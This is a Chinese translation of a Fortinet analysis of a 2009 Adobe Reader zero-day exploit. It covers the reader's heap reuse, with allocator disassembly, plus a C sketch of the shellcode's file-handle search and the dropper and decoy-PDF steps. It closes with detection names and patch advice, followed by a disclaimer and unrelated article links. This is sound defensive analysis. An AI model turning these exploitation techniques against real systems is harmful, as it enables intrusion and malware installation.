一般來說,在Windows 系列系統中堆記憶體的分配最終會呼叫系統級API RtlAllocateHeap來申請分配堆塊。在這樣一個情況下,對應用程式來說記憶體塊的返回值是不確定的。
但是,Adobe Reader 有著自身的堆管理例程,如果堆塊的長度小於或者等於0x80個位元組,請求就不會提交到系統級的堆管理例程,與之對應的,Adobe Reader自身的記憶體管理例程會尋找一個適當的迴圈透過比較被請求的分配大小。
接下來就是在“Acrod32.dll”中函式acro_allocate_routine的有關程式碼:
.text:003042DC push offset stru_E886F0 ; lpCriticalSection .text:003042E1 mov [esp+1Ch+allocate_len], offset stru_E886F0 .text:003042E9 call ds:EnterCriticalSection .text:003042EF cmp edi, 80h ; allocate_len>0x80? .text:003042F5 mov [esp+18h+var_4], 0 .text:003042FD ja short loc_30433B ; allocate_len=0x80, no jumping here .text:003042FF movzx eax, ds:byte_BFD898[edi] .text:00304306 mov ecx, [esi+eax*4+0Ch] ; get structure pointer which manages all recycled 0x80-length blocks .text:00304306 .text:0030430A mov eax, [ecx+4] ; the first recycled 0x80-length block .text:0030430D test eax, eax .text:0030430F jz short loc_30432F .text:00304311 mov esi, eax .text:00304313 mov eax, [eax+4] ; next block .text:00304316 test eax, eax .text:00304318 mov edx, [esi-4] .text:0030431B mov [ecx+4], eax ; take off the first block from the list .text:0030431E jz short loc_304326 ; how many recycled blocks have been reused .text:00304320 mov dword ptr [eax], 0 .text:00304326 .text:00304326 loc_304326: ; CODE XREF: acro_allocate_routine+7Ej .text:00304326 add dword ptr [edx+4], 1 ; how many recycled blocks have been reused .text:0030432A jmp loc_3043C4 ; exit, return the first block for use
可以觀察到並沒有跳入系統級管理例程去分配一段新的堆塊,相應的,它重新使用被應用程式自己認為已經被“釋放”的堆塊(換句話說,實際上系統並沒有釋放這段記憶體)。
因此,可以相當容易的預測這段重新使用的記憶體內容(或者至少相對穩定)。
並且這表明在Adobe Reader 中存在相當有效的辦法在堆基礎上利用此溢位漏洞。
3:利用程式的動作和嵌入的ShellCode的記錄
JavaScirpt中的ShellCode部分只做了一件事情:在PDF中找到並執行另一段ShellCode。
很明顯的是,ShellCode透過使用API函式GetFileSize對從0開始的每個控制程式碼同目標大小進行比對,以此找到PDF文件的控制程式碼。
圖6:從POC文件中尋找檔案控制程式碼
原來的C程式碼可能讀起來像這樣:
DWORD dwTestHandle=0; //test all the handles, with step 4. while (1) { dwFileSize = GetFileSize(dwTestHandle,0); if ((dwFileSize != -1) && (dwFileSize>=0x2000)) { break; } dwTestHandle = dwTestHandle +4; } //obtain the self file handlesuccessfully
接著,透過已經獲得的檔案控制程式碼去找到並執行新的已經嵌入在PDF文件中的ShellCode:
圖7:跳轉到POC文件中的另一段ShellCode.
另外需要注意的是,這並不新穎。一年多以前“幻影軍團”曾經使用“查詢並執行ShellCode”的方法在一個惡意的PDF文件中。
新的ShellCode會執行以下動作:
1).從初始PDF文件中生成一個可執行檔案並執行,這實際上是被我們的防毒軟體檢測出來為“W32/Protux.GK!tr”的病毒。
2).從初始PDF文件中生成一個正常的PDF文件,並使用Adobe Reader 開啟並使用同樣正常的文件內容覆蓋當前開啟的惡意PDF文件:以取得完美的偽裝效果。從結果來看,偽裝檔案的名字為:“The question of the charter of pro-democracy moment.pdf”,存放在系統Temp目錄下。
接下來是關於新ShellCode的關鍵點。
圖8:第一步在Temp目錄下生存exe檔案
圖9:第二步執行生成的exe檔案
圖10:第三步生成偽裝的PDF文件
圖11:第四步用Adobe Reader 開啟偽裝的PDF文件
結論:
回頭看這次0day攻擊的整個過程,每一個部分不管是漏洞觸發,開發利用,漏洞背後的邏輯關係,促使改變漏洞還是最後的ShellCode都是相當有技巧性的。
這個漏洞利用程式透過堆噴射的方法也會在將來的Adobe Reader漏洞用到,特別是它自身的創新。
FortiGuard已經發布了FGA-2009-35公告來應對這個問題,這與Adobe的安全公告:APSB09-15相一致。對我的客戶來說高階0day保護已經是可以使用的了從2009-10-9。
當我們的防毒軟體檢測到PDF利用程式為“W32/Protux.GK!exploit”並且生成的可執行檔案為“W32/Protux.GK!tr”時,IPS會以“Adobe.Reader.Decode.Color.Remote.Code”標示出。
我們再次建議 Adobe Reader 和Acrobat儘快升級應用程式到最新版本。
Disclaimer(以下為一些免責宣告及公司簡介,與技術無關,故不作翻譯,譯者注)
Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy
or completeness of the information. More specific information is available on request from Fortinet.
Please note that Fortinet's product information does not
constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing.
About Fortinet ( http://www.fortinet.com/):
Fortinet is the pioneer and leading provider of ASIC-accelerated unified threat management, or UTM, security systems,
which are used by enterprises and service providers to increase their security while reducing total operating costs.
Fortinet solutions were built from the ground up to integrate multiple levels of security protection--including firewall, antivirus,
intrusion prevention, VPN, spyware prevention and anti-spam -- designed to help customers protect against network and content level threats.
Leveraging a custom ASIC and unified interface,
Fortinet solutions offer advanced security functionality that scales from remote office to chassis-based
solutions with integrated management and reporting.
Fortinet solutions have won multiple awards around the world and are the only
security products that are certified in six programs by ICSA Labs: (Firewall, Antivirus, IPSec, SSL, Network IPS, and Anti-Spyware). Fortinet is privately
held and based in Sunnyvale, California.
相關文章
- 這一招可以讓pdf整篇自動翻譯,pdf翻譯的方法分享2019-08-12
- 原型繼承(翻譯 vjeux 文章)2018-03-30原型繼承UX
- Yurii談翻譯(五)怎樣翻譯更地道:so…that…的翻譯2012-01-08
- Yurii談翻譯(九)怎樣翻譯更地道:冠詞a的翻譯2012-01-09
- Yurii談翻譯(十)怎樣翻譯更地道:最高階的翻譯2012-01-09
- 翻譯的未來:翻譯機器和譯後編譯2013-06-13編譯
- 眾成翻譯-國外前端文章2018-03-03前端
- Yurii談翻譯(六)怎樣翻譯更地道:“as somebody said…”的翻譯2012-01-08AI
- Yurii談翻譯(十三)怎樣翻譯更地道:It is…that…句型諺語的翻譯2012-01-09
- Yurii談翻譯(十四)怎樣翻譯更地道:否定句的翻譯2012-01-09
- 翻譯2020-12-29
- 如何完成中文翻譯日文線上翻譯2019-09-23
- Yurii談翻譯(四)怎樣翻譯更地道:翻譯如鋪路2012-01-08
- 一篇討論“翻譯腔”的文章2011-08-26
- JS閉包文章--(翻譯)Callbacks in Loops2014-02-26JSOOP
- 有趣的翻譯2016-06-28
- 痛苦的翻譯2007-05-16
- Ubuntu安裝劃詞翻譯軟體Goldendict 單詞翻譯 句子翻譯2021-01-05UbuntuGo
- 蝴蝶書-task2: 文字推理、摘要、糾錯 transformers實現翻譯 OpenAI翻譯 PyDeepLX翻譯 DeepLpro翻譯2024-04-29ORMOpenAI
- 爬蟲—有道翻譯案例分析2021-09-03爬蟲
- Nginx翻譯2017-11-10Nginx
- [翻譯] TransitionKit2015-02-08
- 翻譯篇2013-07-29
- OllDbg翻譯2003-06-18LLDB
- PDF英語文件怎麼翻譯成中文?2024-06-21
- OpenCV翻譯專案總結二——Mat翻譯2019-07-13OpenCV
- LWN 文章翻譯 - 名字空間實作系列2018-05-23
- [翻譯]JavaScript的成本2019-02-27JavaScript
- Symbol 的作用[翻譯]2019-04-05Symbol
- Before的翻譯2013-07-28
- Google翻譯的API2008-03-25GoAPI
- 本人翻譯的文件2005-03-02
- 偶翻譯的小說2007-09-24
- 翻譯javaworld.com上的一篇文章,希望對您有用:)2004-10-12Java
- 文件翻譯器怎麼用?如何翻譯Word文件?2019-08-15
- Laravel 谷歌翻譯 /Bing 翻譯擴充套件包2019-06-11Laravel谷歌套件
- 使用google翻譯 api 翻譯中文成其他語言2018-08-06GoAPI
- 有道雲詞典--翻譯/螢幕取詞翻譯2020-12-12